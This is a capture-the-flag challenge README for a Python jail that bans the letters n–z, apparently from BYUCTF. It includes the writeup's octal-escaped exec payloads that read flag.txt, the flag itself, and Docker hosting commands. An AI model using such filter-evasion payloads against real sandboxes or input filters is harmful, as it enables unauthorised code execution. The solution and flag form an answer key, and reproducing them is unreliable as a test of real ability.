nopqrstuvwxyz

NOPQRSTUVWXYZ

Level - Medium

Description:

You can't use any of the last 13 letters of the alphabet EXCEPT for the first 4 letters

OH and don't make it too long

nc byuctf.xyz 40004

[nopqrstuvwxyz.py]

Writeup

The following solution works - exec("\160\162i\156\164(\157\160e\156('flag.\164\170\164').\162ead())") exec("\160\162\151\156\164\050\157\160\145\156\050\047\146\154\141\147\056\164\170\164\047\051\056\162\145\141\144\050\051\051")

Flag - byuctf{1_l0v3_c0nnected_ch4llz}

Hosting

This challenge should be a Docker container that runs the Python script nopqrstuvwxyz.py every time someone connects on port 40004. All the proper files are included in here. The command to build the docker container is (when located inside of this directory):

sudo docker build -t nopqrstuvwxyz .
sudo docker network create -d bridge nopqrstuvwxyz

The command to start the challenge is:

sudo docker run -p 40004:40000 --detach --name nopqrstuvwxyz --network nopqrstuvwxyz nopqrstuvwxyz:latest

The command to stop the challenge (since CTRL+C won't work) is:

sudo docker stop nopqrstuvwxyz